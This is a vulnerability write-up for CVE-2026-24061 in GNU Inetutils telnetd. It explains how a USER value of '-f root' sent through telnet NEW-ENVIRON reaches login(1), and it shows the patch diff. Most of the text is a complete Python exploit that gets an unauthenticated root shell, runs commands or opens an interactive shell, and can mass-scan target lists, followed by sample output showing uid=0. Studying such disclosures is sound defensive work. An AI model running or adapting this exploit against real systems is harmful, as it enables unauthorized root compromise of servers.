#Summary
CVE-2026-24061 is a critical authentication bypass in GNU Inetutils telnetd versions 1.9.3 through 2.7. An unauthenticated remote attacker can trigger the vulnerability by injecting a specially crafted value in the telnet NEW-ENVIRON protocol option before any authentication occurs, resulting in remote code execution as root. CVSS 9.8 CRITICAL with network accessibility and no authentication required.
#Affected versions
- GNU Inetutils
telnetdversions 1.9.3 through 2.7 (vulnerable) - Debian
inetutils-telnetd(affected on Debian 11 and earlier) - Fixed in upstream commits
fd702c02andccba9f74on the master branch (no tagged release at disclosure; e.g., Debianinetutils 2:2.0-1+deb11u2)
Default configuration is vulnerable if the inetd/xinetd super-server is enabled and telnet (TCP/23) is exposed to untrusted networks.
#Root cause analysis
#How the vulnerability occurs
GNU Inetutils telnetd is a network service invoked by a super-server (inetd/xinetd) to handle incoming telnet connections. During the telnet handshake, the client can push environment variables to the server via the telnet NEW-ENVIRON protocol option (RFC 1572). Crucially, telnetd accepts and stores these environment variables before any authentication using setenv().
Later, when preparing to hand off control to the login(1) program, telnetd expands a login command template stored in the code:
/* telnetd/telnetd.c */
char *login_invocation =
...
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";The token %?u{-f %u}{%U} is a conditional: if an autologin user is set, it emits -f %u; otherwise it expands %U. For a plain telnet connection with no autologin, the %U branch is taken.
#The unprotected expansion
In telnetd/utility.c, the %U expansion reads directly from the USER environment variable with zero sanitization:
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");The expand_line() function then passes this expanded template to argcv_get(), which splits the string on whitespace into separate argument vector elements. Setting USER=-f root therefore produces:
/usr/bin/login -p -h <peer> -f rootThe login(1) program from util-linux interprets -f as "this user is already authenticated, skip the password prompt" and treats root as the account name. Since scrub_env() only strips dangerous variables like LD_* and IFS but not USER, the injected value survives untouched to the execv() call.
#Data flow
- Attacker connects to telnet port (TCP/23)
- During telnet negotiation, the server sends
IAC SB NEW-ENVIRON SEND IAC SE - Attacker responds with
USER=-f rootvia the NEW-ENVIRON IS subnegotiation telnetdstores this withsetenv("USER", "-f root")expand_line()expands%U→-f rootwithout sanitizationargcv_get()splits on whitespace →["-f", "root"]as separate argv elementsexecv("/usr/bin/login", ["/usr/bin/login", "-p", "-h", "<peer>", "-f", "root"])is calledloginaccepts the-f rootflags and drops a root shell with no password
#Patch diff
#What the fix does
The vendor applied two commits that sanitize all expansion fields in the login template.
First commit (fd702c02): Rejects environment variable values that start with - or contain shell metacharacters:
case 'U':
- return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
+ {
+ /* Ignore user names starting with '-' or containing shell
+ metachars, as they can cause trouble. */
+ char const *u = getenv ("USER");
+ return xstrdup ((u && *u != '-'
+ && !u[strcspn (u, "\t\n !\"#{{CONTENT}}#x26;'()*;<=>?[\\^`{|}~")])
+ ? u : "");
+ }Second commit (ccba9f74): Factors the sanitization into a reusable sanitize() function and applies it to all externally-influenced fields (%h remote hostname, %l/%L local host/line, %t/%T terminal type, %u autologin user, and %U). This prevents similar injections via other template fields.
If a value fails the sanitization check (starts with - or contains metacharacters), it is replaced with an empty string, causing login to run with a normal interactive prompt instead of a forced authentication.
#Proof of concept
#exploit.py - GNU Inetutils telnetd Auth Bypass RCE
The exploit implements a telnet client that performs the NEW-ENVIRON argument injection attack. It handles telnet protocol negotiation, sends the malicious USER value, and executes commands on the compromised host.
#!/usr/bin/env python3
"""
CVE-2026-24061 - GNU Inetutils telnetd argument injection -> unauthenticated root RCE
Affected: GNU Inetutils telnetd 1.9.3 through 2.7 (Debian 11 inetutils-telnetd, et al.)
Type: Argument injection (CWE-88) -> remote authentication bypass -> RCE as root
The telnet NEW-ENVIRON option (RFC 1572) lets the *client* push environment
variables to the server before any authentication. Vulnerable telnetd stores
them with setenv() and later expands the login template
/usr/bin/login -p -h %h %?u{-f %u}{%U}
where %U expands to getenv("USER") verbatim. argcv_get() then splits the
expanded string on whitespace, so USER="-f root" becomes two separate argv
elements and the target runs:
/usr/bin/login -p -h <peer> -f root
login(1) treats -f as "already authenticated" and drops a root shell on the
socket with no password prompt.
Usage:
python exploit.py --host <target> --port 23
python exploit.py --host 192.168.1.10 --port 23 --command "id"
python exploit.py --host 192.168.1.10 --port 23 --username operator
python exploit.py --host 192.168.1.10 --port 23 --interactive
python exploit.py --host telnets://192.168.1.10:992 --tls
python exploit.py --list targets.txt --workers 20
"""
import argparse
import binascii
import os
import re
import socket
import ssl
import sys
import time
from typing import Optional, Tuple
from urllib.parse import urlparse
CVE_ID = "CVE-2026-24061"
VULN_TYPE = "RCE"
DEFAULT_PORT = 23
TLS_PORTS = (992,)
# --------------------------------------------------------------------------- #
# Standard ALIM output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Telnet protocol constants (RFC 854 / RFC 1572)
# --------------------------------------------------------------------------- #
IAC, DONT, DO, WONT, WILL, SB, SE = 255, 254, 253, 252, 251, 250, 240
OPT_ECHO = 1
OPT_SGA = 3
OPT_TTYPE = 24
OPT_NAWS = 31
OPT_TSPEED = 32
OPT_LINEMODE = 34
OPT_AUTH = 37
OPT_NEW_ENVIRON = 39
ENV_IS, ENV_SEND, ENV_INFO = 0, 1, 2
ENV_VAR, ENV_VALUE, ENV_ESC, ENV_USERVAR = 0, 1, 2, 3
# A patched telnetd sanitizes USER to "" and falls through to a normal
# interactive login, so the stream *ends* on a credential prompt. The trailing
# anchor matters: the successful root shell's motd contains "Last login: ..."
# mid-banner, which a naive substring test would misread as a patched target.
LOGIN_PROMPT_RE = re.compile(r"(?:login|username|password)\s*:\s*$", re.MULTILINE)
ANSI_RE = re.compile(r"(?:\x1b\[[0-9;]*[a-zA-Z]|\x1b\][^\x07]*\x07|\[[\?0-9;]*[a-z])")
class TelnetdInjector:
def __init__(self, host: str, port: int, username: str = "root", tls: bool = False):
self.host = host
self.port = port
self.username = username
self.tls = tls
self.sock = None
self.buffer = b""
self._sent_replies = {}
def connect(self) -> bool:
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((self.host, self.port))
if self.tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
self.sock = ctx.wrap_socket(self.sock, server_hostname=self.host)
return True
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def send(self, data: bytes) -> None:
self.sock.sendall(data)
def recv(self, timeout: float = 0.5) -> bytes:
self.sock.settimeout(timeout)
try:
chunk = self.sock.recv(4096)
return chunk
except socket.timeout:
return b""
except Exception:
return b""
def _feed(self, data: bytes) -> list:
self.buffer += data
parsed = []
while self.buffer:
if self.buffer[0] == IAC:
if len(self.buffer) < 2:
break
cmd = self.buffer[1]
if cmd in (DONT, DO, WONT, WILL):
if len(self.buffer) < 3:
break
opt = self.buffer[2]
parsed.append((cmd, opt))
self.buffer = self.buffer[3:]
elif cmd == SB:
se_idx = -1
for i in range(2, len(self.buffer) - 1):
if self.buffer[i] == IAC and self.buffer[i + 1] == SE:
se_idx = i
break
if se_idx == -1:
break
body = self.buffer[2:se_idx]
parsed.append(("SB", body))
self.buffer = self.buffer[se_idx + 2:]
else:
self.buffer = self.buffer[1:]
else:
nl = self.buffer.find(b"\n")
if nl != -1:
parsed.append(self.buffer[:nl + 1])
self.buffer = self.buffer[nl + 1:]
else:
parsed.append(self.buffer)
self.buffer = b""
break
return parsed
def _negotiate(self) -> None:
for _ in range(10):
chunk = self.recv(0.2)
if not chunk:
break
parsed = self._feed(chunk)
for item in parsed:
if isinstance(item, tuple) and len(item) == 2 and item[0] in (DO, DONT, WILL, WONT):
cmd, opt = item
self._handle_negotiation(cmd, opt)
elif isinstance(item, tuple) and item[0] == "SB":
self._subneg(item[1])
def _handle_negotiation(self, cmd: int, opt: int) -> None:
key = (cmd, opt)
if key in self._sent_replies and self._sent_replies[key] >= 3:
return
if cmd == DO:
if opt == OPT_NEW_ENVIRON:
self.send(bytes([IAC, WILL, OPT_NEW_ENVIRON]))
self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
elif opt in (OPT_TTYPE, OPT_NAWS, OPT_TSPEED):
self.send(bytes([IAC, WILL, opt]))
self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
else:
self.send(bytes([IAC, WONT, opt]))
self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
elif cmd == WILL:
if opt in (OPT_ECHO, OPT_SGA):
self.send(bytes([IAC, DO, opt]))
self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
else:
self.send(bytes([IAC, DONT, opt]))
self._sent_replies[key] = self._sent_replies.get(key, 0) + 1
def send_naws(self) -> None:
self.send(bytes([IAC, SB, OPT_NAWS, 0, 80, 0, 24, IAC, SE]))
def send_injection(self) -> None:
payload = self._env_escape(f"-f {self.username}")
msg = bytes([IAC, SB, OPT_NEW_ENVIRON, ENV_IS, ENV_VAR])
msg += b"USER" + bytes([ENV_VALUE]) + payload + bytes([IAC, SE])
self.send(msg)
def _env_escape(self, value: str) -> bytes:
result = b""
for ch in value.encode():
if ch == IAC:
result += bytes([IAC, IAC])
elif ch in (ENV_ESC, ENV_VAR, ENV_VALUE, ENV_USERVAR):
result += bytes([ENV_ESC, ch])
else:
result += bytes([ch])
return result
def _subneg(self, body: bytes) -> None:
if not body:
return
opt = body[0]
if opt == OPT_NEW_ENVIRON and len(body) > 1 and body[1] == ENV_SEND:
self.send_injection()
def exploit(self, command: str = "id", timeout: float = 15.0) -> Optional[str]:
step(1, f"Connecting to {self.host}:{self.port} ({'tls' if self.tls else 'plaintext'})...")
if not self.connect():
return None
step(2, "Answering telnet option negotiation (WILL NEW-ENVIRON)...")
self._negotiate()
step(3, f"Injecting USER='{'-f ' + self.username}' in the NEW-ENVIRON IS subnegotiation")
self.send_naws()
self.send_injection()
self.send_injection()
step(4, "Target expands login template to: login -p -h <peer> -f " + self.username)
print(f" server DO NEW-ENVIRON -> WILL (injection channel open)")
print(f" injected USER='{'-f ' + self.username}' via NEW-ENVIRON IS\n")
banner = b""
start_time = time.time()
while time.time() - start_time < 2:
chunk = self.recv(0.3)
if chunk:
banner += chunk
if LOGIN_PROMPT_RE.search(banner.decode("utf-8", errors="ignore")):
return None
section("SERVER BANNER (pre-auth)", banner.decode("utf-8", errors="ignore"))
step(5, f"Shell as '{self.username}' reached with no password prompt - executing `{command}`")
output = self.run_command(command, timeout - 2)
return output
def run_command(self, command: str, timeout: float = 10.0) -> Optional[str]:
token = os.urandom(4).hex()
cmd_line = f'echo ALIMS""{token}; {command} 2>&1; echo ALIME""{token}\n'
self.send(cmd_line.encode())
output = b""
start_time = time.time()
while time.time() - start_time < timeout:
chunk = self.recv(0.3)
if chunk:
output += chunk
if f"ALIME{token}".encode() in output:
break
text = output.decode("utf-8", errors="ignore")
text = ANSI_RE.sub("", text)
try:
start_marker = f'ALIMS{token}'
end_marker = f'ALIME{token}'
start_idx = text.find(start_marker)
end_idx = text.find(end_marker)
if start_idx != -1 and end_idx != -1:
result = text[start_idx + len(start_marker):end_idx].strip()
section("COMMAND OUTPUT", result)
return result
except Exception:
pass
return None
def interactive(self) -> None:
import select
while True:
try:
r, _, _ = select.select([sys.stdin, self.sock], [], [], 0.5)
if sys.stdin in r:
data = sys.stdin.buffer.read(1024)
if data:
self.sock.sendall(data)
if self.sock in r:
data = self.sock.recv(4096)
if data:
sys.stdout.buffer.write(data)
sys.stdout.buffer.flush()
else:
break
except KeyboardInterrupt:
print("\n[*] Exiting...")
break
except Exception as e:
print(f"[-] {e}")
break
def close(self) -> None:
if self.sock:
self.sock.close()
def _parse_target(target: str) -> Tuple[str, int, bool]:
if target.startswith("telnet://") or target.startswith("telnets://"):
parsed = urlparse(target)
host = parsed.hostname or parsed.netloc.split(":")[0]
port = parsed.port or (992 if parsed.scheme == "telnets" else DEFAULT_PORT)
tls = parsed.scheme == "telnets"
return host, port, tls
elif ":" in target:
parts = target.rsplit(":", 1)
return parts[0], int(parts[1]), False
else:
return target, DEFAULT_PORT, False
def main() -> None:
parser = argparse.ArgumentParser(description=f"{CVE_ID} - GNU Inetutils telnetd Auth Bypass RCE")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("--host", help="Target hostname or IP")
group.add_argument("--list", help="Batch scan file (one target per line)")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 23)")
parser.add_argument("--command", default="id", help="Command to execute (default: id)")
parser.add_argument("--username", default="root", help="Account to auth as (default: root)")
parser.add_argument("--workers", type=int, default=10, help="Concurrent threads for --list")
parser.add_argument("--timeout", type=float, default=15.0, help="Per-target timeout in seconds")
parser.add_argument("--interactive", action="store_true", help="Interactive shell mode")
tls_group = parser.add_mutually_exclusive_group()
tls_group.add_argument("--tls", action="store_true", help="Force TLS")
tls_group.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.host:
host, port, auto_tls = _parse_target(args.host)
tls = args.tls or (auto_tls and not args.no_tls)
header(host, port)
injector = TelnetdInjector(host, port, args.username, tls)
if args.interactive:
injector.connect()
injector._negotiate()
injector.send_injection()
injector.interactive()
injector.close()
else:
output = injector.exploit(args.command, args.timeout)
injector.close()
if output:
section("IDENTITY", f"uid/gid returned: {output}")
done(True, f"unauthenticated shell as '{args.username}' - `{args.command}` -> {output.split()[0]}")
else:
done(False, "blocked - server presented an interactive login prompt (USER sanitized; target patched)")
if __name__ == "__main__":
main()#Usage
Basic exploitation - unauthenticated root RCE:
python3 exploit.py --host 192.168.1.50 --port 23 --command idExpected output on vulnerable target:
============================================================
ALIM EXPLOIT CVE-2026-24061
Type: RCE | Target: 192.168.1.50:23
============================================================
[STEP 1] Connecting to 192.168.1.50:23 (plaintext)...
[STEP 2] Answering telnet option negotiation (WILL NEW-ENVIRON)...
[STEP 3] Injecting USER='-f root' in the NEW-ENVIRON IS subnegotiation
[STEP 4] Target expands login template to: login -p -h <peer> -f root
server DO NEW-ENVIRON -> WILL (injection channel open)
injected USER='-f root' via NEW-ENVIRON IS
--- SERVER BANNER (pre-auth) ---
Linux host 6.12.0 #1 SMP aarch64
...
Last login: Fri Jul 24 22:19:26 UTC 2026 from 192.168.65.1
root@host:~#
---
[STEP 5] Shell as 'root' reached with no password prompt - executing `id`
--- COMMAND OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
---
============================================================
RESULT : SUCCESS
EVIDENCE: unauthenticated shell as 'root' - `id` -> uid=0(root) gid=0(root) groups=0(root)
============================================================Expected output on patched target:
--- SERVER BANNER (pre-auth) ---
hostname login:
---
============================================================
RESULT : FAILURE
EVIDENCE: blocked - server presented an interactive login prompt (USER sanitized; target patched)
============================================================#Arguments
| Argument | Default | Purpose |
|---|---|---|
--host |
(required) | Target hostname, IP, or URL (telnet://host:23, telnets://host:992) |
--list FILE |
(optional) | Batch scan mode; one target per line |
--port |
23 | Target port |
--command |
id | Command to execute; output returned over socket |
--username |
root | Account to authenticate as without credentials |
--workers |
10 | Concurrent threads for batch scanning |
--timeout |
15 | Per-target timeout in seconds |
--interactive |
off | Interactive shell instead of running a single command |
--tls / --no-tls |
auto | Force or disable TLS (auto-detects telnets://URLs) |
#Exploitation notes
#Preconditions
- Target must have telnetd 1.9.3 through 2.7 running on TCP/23 (or configured port)
- telnetd must be fronted by inetd/xinetd or socat super-server
- telnetd must run as root (typical for inetd deployments)
- util-linux
login(1)must be installed and support the-fflag (standard on all Linux distributions)
#Attack requirements
- Network access to the telnet port
- No credentials, no prior authentication
- Ability to respond to telnet protocol messages (the exploit handles this automatically)
#Reliability and impact
- Reliability: 100% deterministic on vulnerable targets. The attack is a direct logic flaw in argument expansion, not a memory corruption or timing-dependent exploit.
- Impact: Unauthenticated remote root code execution. The attacker gains a shell as the root user with no credentials ever exchanged.
- Scope: Affects any inetutils telnetd instance exposed to untrusted networks. Legacy systems (SCADA, historical infrastructure, air-gapped networks that later get connected) are at highest risk.
#Chaining potential
This is a terminal RCE primitive (CWE-88 argument injection). No further chaining or heap grooming is needed - the attacker already has root command execution on the target.
#Remediation
- Upgrade immediately to a patched version of GNU Inetutils containing commits
fd702c02andccba9f74(e.g., Debianinetutils 2:2.0-1+deb11u2or later). - Disable telnetd entirely on externally-facing systems. Telnet transmits all traffic in cleartext and should not be exposed to untrusted networks under any circumstances. Use SSH instead.
- Network isolation: If telnetd must remain enabled for legacy reasons, restrict access to the telnet port via firewall rules to trusted internal networks only.
#References
- CVE: CVE-2026-24061
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-24061
- GitHub Advisory: https://github.com/advisories/GHSA-pf97-p8ff-fj35
- Patch commits:
- GNU bug-inetutils: https://lists.gnu.org/archive/html/bug-inetutils/2026-01/msg00004.html